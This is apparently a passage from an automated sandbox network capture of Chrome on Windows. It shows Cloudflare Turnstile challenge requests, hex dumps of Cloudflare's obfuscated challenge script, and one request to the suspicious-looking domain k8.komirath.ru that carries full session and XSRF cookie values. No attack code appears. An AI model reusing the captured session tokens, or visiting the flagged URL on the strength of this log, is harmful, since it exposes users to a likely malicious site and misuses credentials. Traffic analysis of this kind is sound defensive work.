2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	49719	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:15 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ffdb9728d954299&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:15 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:15 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 114828 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ffdb9768f77423f-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:15 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fc
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c Data Ascii: cription":"Send%20Feedback","turnstile_refresh":"Refresh","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successful
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 2c 67 35 2c 67 36 2c 67 77 2c 67 78 2c 67 42 2c 67 43 2c 67 47 2c 67 48 2c 67 33 2c 67 34 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 36 38 34 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 32 33 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 37 37 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 38 30 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 32 34 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 39 37 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 35 35 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 Data Ascii: ,g5,g6,gw,gx,gB,gC,gG,gH,g3,g4){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(684))/1(-parseInt(gI(1123))/2)+parseInt(gI(1477))/3(-parseInt(gI(1480))/4)+parseInt(gI(1524))/5+-parseInt(gI(1497))/6+-parseInt(gI(755))/7*(parseInt(
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 36 38 29 29 3f 28 46 3d 7b 7d 2c 46 5b 67 4d 28 31 32 34 35 29 5d 3d 67 4d 28 31 31 30 34 29 2c 46 5b 67 4d 28 37 30 31 29 5d 3d 67 5b 67 4d 28 35 33 33 29 5d 5b 67 4d 28 31 36 35 35 29 5d 2c 46 5b 67 4d 28 31 32 31 31 29 5d 3d 67 4d 28 31 35 35 31 29 2c 46 5b 67 4d 28 34 30 37 29 5d 3d 68 2c 66 5b 67 4d 28 31 34 37 33 29 5d 5b 67 4d 28 31 35 39 38 29 5d 28 46 2c 27 2a 27 29 29 3a 66 5b 67 4d 28 34 31 38 29 5d 3d 4a 53 4f 4e 5b 67 4d 28 31 34 38 34 29 5d 28 66 5b 67 4d 28 34 31 38 29 5d 29 3b 69 66 28 6b 3d 68 7c 7c 69 5b 67 4d 28 31 30 31 35 29 5d 2c 6c 3d 65 4d 5b 67 4d 28 35 33 33 29 5d 5b 67 4d 28 31 32 31 34 29 5d 3f 69 5b 67 4d 28 34 35 36 29 5d 28 27 68 2f 27 2b 65 4d 5b 67 4d 28 35 33 33 29 5d 5b 67 4d 28 31 32 31 34 29 5d 2c 27 2f 27 29 3a 27 27 Data Ascii: 68))?(F={},F[gM(1245)]=gM(1104),F[gM(701)]=g[gM(533)][gM(1655)],F[gM(1211)]=gM(1551),F[gM(407)]=h,f[gM(1473)][gM(1598)](F,'*')):f[gM(418)]=JSON[gM(1484)](f[gM(418)]);if(k=h\|\|i[gM(1015)],l=eM[gM(533)][gM(1214)]?i[gM(456)]('h/'+eM[gM(533)][gM(1214)],'/'):''
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 28 31 31 30 34 29 2c 76 5b 67 4f 28 37 30 31 29 5d 3d 6f 5b 67 4f 28 35 33 33 29 5d 5b 67 4f 28 31 36 35 35 29 5d 2c 76 5b 67 4f 28 35 39 34 29 5d 3d 65 5b 67 4f 28 35 38 36 29 5d 2c 76 5b 67 4f 28 31 32 31 31 29 5d 3d 67 4f 28 35 37 31 29 2c 6e 5b 67 4f 28 31 34 37 33 29 5d 5b 67 4f 28 31 35 39 38 29 5d 28 76 2c 27 2a 27 29 29 7d 29 3a 66 3d 4a 53 4f 4e 5b 67 4e 28 31 34 38 34 29 5d 28 64 29 3b 72 65 74 75 72 6e 20 6d 3d 7b 7d 2c 6d 5b 67 4e 28 33 33 33 29 5d 3d 66 2c 6d 5b 67 4e 28 31 32 35 31 29 5d 3d 67 2c 6d 5b 67 4e 28 31 33 37 39 29 5d 3d 68 2c 6d 5b 67 4e 28 39 34 35 29 5d 3d 69 2c 6d 5b 67 4e 28 34 31 38 29 5d 3d 64 2c 6d 7d 2c 65 4d 5b 67 4a 28 38 31 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 66 2c 67 2c 68 2c 69 2c 67 51 2c 6a 2c 6b 2c 6c 2c Data Ascii: (1104),v[gO(701)]=o[gO(533)][gO(1655)],v[gO(594)]=e[gO(586)],v[gO(1211)]=gO(571),n[gO(1473)][gO(1598)](v,'*'))}):f=JSON[gN(1484)](d);return m={},m[gN(333)]=f,m[gN(1251)]=g,m[gN(1379)]=h,m[gN(945)]=i,m[gN(418)]=d,m},eM[gJ(812)]=function(e,f,g,h,i,gQ,j,k,l,
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 50 28 29 2c 21 65 4d 5b 69 62 28 31 36 38 39 29 5d 26 26 21 66 75 28 29 26 26 21 65 4d 5b 69 62 28 33 37 33 29 5d 5b 69 62 28 31 30 35 31 29 5d 26 26 65 5b 69 62 28 33 35 32 29 5d 28 67 2c 66 4f 29 3e 66 3f 66 61 28 29 3a 66 62 28 29 7d 2c 31 65 33 29 29 2c 66 53 3d 7b 7d 2c 66 53 5b 67 4a 28 31 30 35 31 29 5d 3d 21 5b 5d 2c 66 53 5b 67 4a 28 31 33 37 36 29 5d 3d 65 55 2c 66 53 5b 67 4a 28 34 33 34 29 5d 3d 66 47 2c 66 53 5b 67 4a 28 31 36 33 30 29 5d 3d 66 4c 2c 66 53 5b 67 4a 28 36 32 34 29 5d 3d 66 4d 2c 66 53 5b 67 4a 28 31 34 36 31 29 5d 3d 66 48 2c 66 53 5b 67 4a 28 31 31 31 30 29 5d 3d 66 4e 2c 66 53 5b 67 4a 28 31 31 38 30 29 5d 3d 66 4b 2c 66 53 5b 67 4a 28 31 35 35 38 29 5d 3d 66 4a 2c 66 53 5b 67 4a 28 31 34 32 31 29 5d 3d 66 38 2c 66 53 5b 67 Data Ascii: P(),!eM[ib(1689)]&&!fu()&&!eM[ib(373)][ib(1051)]&&e[ib(352)](g,fO)>f?fa():fb()},1e3)),fS={},fS[gJ(1051)]=![],fS[gJ(1376)]=eU,fS[gJ(434)]=fG,fS[gJ(1630)]=fL,fS[gJ(624)]=fM,fS[gJ(1461)]=fH,fS[gJ(1110)]=fN,fS[gJ(1180)]=fK,fS[gJ(1558)]=fJ,fS[gJ(1421)]=f8,fS[g
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 2c 67 5b 6a 66 28 38 34 34 29 5d 5b 6a 66 28 38 30 37 29 5d 26 26 28 78 3d 78 5b 6a 66 28 31 30 39 36 29 5d 28 67 5b 6a 66 28 38 34 34 29 5d 5b 6a 66 28 38 30 37 29 5d 28 68 29 29 29 2c 78 3d 67 5b 6a 66 28 31 31 35 36 29 5d 5b 6a 66 28 31 35 37 39 29 5d 26 26 67 5b 6a 66 28 34 35 38 29 5d 3f 67 5b 6a 66 28 31 31 35 36 29 5d 5b 6a 66 28 31 35 37 39 29 5d 28 6e 65 77 20 67 5b 28 6a 66 28 34 35 38 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 6a 68 2c 48 2c 4a 29 7b 69 66 28 6a 68 3d 6a 66 2c 6f 5b 6a 68 28 37 31 30 29 5d 21 3d 3d 6a 68 28 31 32 31 30 29 29 7b 66 6f 72 28 47 5b 6a 68 28 31 34 38 39 29 5d 28 29 2c 48 3d 30 3b 6f 5b 6a 68 28 35 31 35 29 5d 28 48 2c 47 5b 6a 68 28 31 34 37 38 29 5d 29 3b 47 5b 48 5d 3d 3d 3d 47 5b 6f 5b 6a 68 28 35 Data Ascii: ,g[jf(844)][jf(807)]&&(x=x[jf(1096)](g[jf(844)][jf(807)](h))),x=g[jf(1156)][jf(1579)]&&g[jf(458)]?g[jf(1156)][jf(1579)](new g[(jf(458))](x)):function(G,jh,H,J){if(jh=jf,o[jh(710)]!==jh(1210)){for(G[jh(1489)](),H=0;o[jh(515)](H,G[jh(1478)]);G[H]===G[o[jh(5
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 71 61 59 6c 76 27 3a 6a 75 28 31 36 32 33 29 2c 27 68 52 47 67 53 27 3a 6a 75 28 31 34 31 31 29 2c 27 4f 7a 58 44 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 52 4e 6f 6c 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 6e 58 78 72 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 6c 79 65 52 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 42 49 74 58 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 53 51 70 41 47 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d Data Ascii: i){return i==h},'qaYlv':ju(1623),'hRGgS':ju(1411),'OzXDl':function(h,i){return h-i},'RNolY':function(h,i){return h>i},'nXxrw':function(h,i){return h<<i},'lyeRu':function(h,i){return h&i},'BItXi':function(h,i){return h-i},'SQpAG':function(h,i){return h(i)}
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 6e 20 69 2a 68 7d 2c 27 4c 4f 50 78 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 6a 75 28 35 33 39 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 6a 76 29 7b 72 65 74 75 72 6e 20 6a 76 3d 6a 75 2c 64 5b 6a 76 28 36 36 31 29 5d 28 6e 75 6c 6c 2c 68 29 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 77 29 7b 72 65 74 75 72 6e 20 6a 77 3d 6a 76 2c 64 5b 6a 77 28 31 34 35 38 29 5d 5b 6a 77 28 31 34 35 34 29 5d 28 69 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6f 2c 73 2c 6a 78 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 52 2c 4e 2c 4f 2c 50 29 7b 69 66 28 6a 78 3d 6a 75 2c 78 3d 7b 7d 2c 78 5b 6a Data Ascii: n i*h},'LOPxw':function(h,i){return h<i}},e=String[ju(539)],f={'h':function(h,jv){return jv=ju,d[jv(661)](null,h)?'':f.g(h,6,function(i,jw){return jw=jv,d[jw(1458)][jw(1454)](i)})},'g':function(j,o,s,jx,x,B,C,D,E,F,G,H,I,J,K,L,M,R,N,O,P){if(jx=ju,x={},x[j
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 78 28 35 33 31 29 5d 28 30 2c 47 29 26 26 28 47 3d 4d 61 74 68 5b 6a 78 28 31 33 35 38 29 5d 28 32 2c 49 29 2c 49 2b 2b 29 2c 44 5b 4f 5d 3d 48 2b 2b 2c 53 74 72 69 6e 67 28 4e 29 29 7d 69 66 28 27 27 21 3d 3d 46 29 7b 69 66 28 64 5b 6a 78 28 38 35 38 29 5d 28 64 5b 6a 78 28 31 33 33 37 29 5d 2c 64 5b 6a 78 28 31 33 33 37 29 5d 29 29 7b 69 66 28 4f 62 6a 65 63 74 5b 6a 78 28 34 35 31 29 5d 5b 6a 78 28 37 34 35 29 5d 5b 6a 78 28 34 31 30 29 5d 28 45 2c 46 29 29 7b 69 66 28 32 35 36 3e 46 5b 6a 78 28 35 30 38 29 5d 28 30 29 29 7b 69 66 28 6a 78 28 31 35 38 36 29 3d 3d 3d 6a 78 28 31 35 38 36 29 29 7b 66 6f 72 28 43 3d 30 3b 43 3c 49 3b 4b 3c 3c 3d 31 2c 4c 3d 3d 64 5b 6a 78 28 31 32 35 32 29 5d 28 6f 2c 31 29 3f 28 4c 3d 30 2c 4a 5b 6a 78 28 31 33 30 39 29 Data Ascii: x(531)](0,G)&&(G=Math[jx(1358)](2,I),I++),D[O]=H++,String(N))}if(''!==F){if(d[jx(858)](d[jx(1337)],d[jx(1337)])){if(Object[jx(451)][jx(745)][jx(410)](E,F)){if(256>F[jx(508)](0)){if(jx(1586)===jx(1586)){for(C=0;C<I;K<<=1,L==d[jx(1252)](o,1)?(L=0,J[jx(1309)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	49720	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:15 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:16 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:16 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ffdb976fdd732fc-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:16 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	49709	188.114.97.3	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:16 UTC	1316	OUT	GET /favicon.ico HTTP/1.1 Host: k8.komirath.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://k8.komirath.ru/1jVVShGI/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjZHMHBtSVpYaUx6NzgrWVg4MStvU3c9PSIsInZhbHVlIjoibkhJVXF6VUhQSndLYTU1RndmbUpvcTR1K1k2YXNSR3I5M2lvbDJlZnFpZTRrZFVwc1o1bEtSQmR4YXBGSERVdi9MQUtqOFdiRTd6aCtMZWJHSVdrWm9EN1hKekNxMzhLbGUxWHdNRHlhVTg1RXI0MkdOcEV2bEVId0RnVUc0SVQiLCJtYWMiOiIwMDQwNmQ2ZjIyYTMwNjk4ODRkNjBjYWU2NjkxYzBmYmE1YzE0OGU5NWJiMzRlZDIzZTNmNWViYTFlZGE4NjIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZQa3BMWkVBM3h0YSt2c3RUaHBzZFE9PSIsInZhbHVlIjoic29lbW5hcFdnNk5jNWN0Q1BLNWJJd1BQTEY0Q2YwZzF3cnd4VzA1WCs4NVB3Vlgvdkc0RTJhaFJNajVCdTZWTmdKUUZ3cUl2MWdoYTVocVJVMU5DRzk4dE9PaC9yRC9kRmltWmxYZlhVV0NQcElESytqU3luWmFmN3BPaWtKN08iLCJtYWMiOiIwNWI2M2QxZWQ5OTNlMGM5OTk3YjYwNmVjYWI1ZTI1MTkyM2E5OThmYTAzNDJkY2I2OGQ3MTljNmEzNWMxZTE2IiwidGFnIjoiIn0%3D
2025-01-10 15:33:16 UTC	1058	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 15:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=awrljOXtvGc94f9Szt%2FE5%2FJTyWeo7LROzkIMTRFGpVE%2BE8PaYaeSgQMxk6tVEv5tJJ7tcYbwyVQzN4FNWKpiKSC0b77anxBVwlB24YPSp12sipovNs33VUA56SMujA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4938&min_rtt=4916&rtt_var=1423&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2229&delivery_rate=564967&cwnd=251&unsent_bytes=0&cid=2646f1b2b18a3ca4&ts=168&x=0" CF-Cache-Status: MISS Server: cloudflare CF-RAY: 8ffdb9794d947c9a-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1827&min_rtt=1812&rtt_var=710&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1894&delivery_rate=1508264&cwnd=195&unsent_bytes=0&cid=81925f9d7f0501fe&ts=3991&x=0"
2025-01-10 15:33:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	49721	104.18.94.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:16 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:16 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:16 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ffdb97adf4c42ef-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:16 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49722	104.18.94.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:16 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ffdb9728d954299&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:16 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:16 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 114828 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ffdb97c4c795e73-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:16 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"http
2025-01-10 15:33:16 UTC	1369	IN	Data Raw: 69 64 67 65 74 25 32 30 63 6f 6e 74 61 69 6e 69 6e 67 25 32 30 61 25 32 30 43 6c 6f 75 64 66 6c 61 72 65 25 32 30 73 65 63 75 72 69 74 79 25 32 30 63 68 61 6c 6c 65 6e 67 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 73 75 63 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 22 Data Ascii: 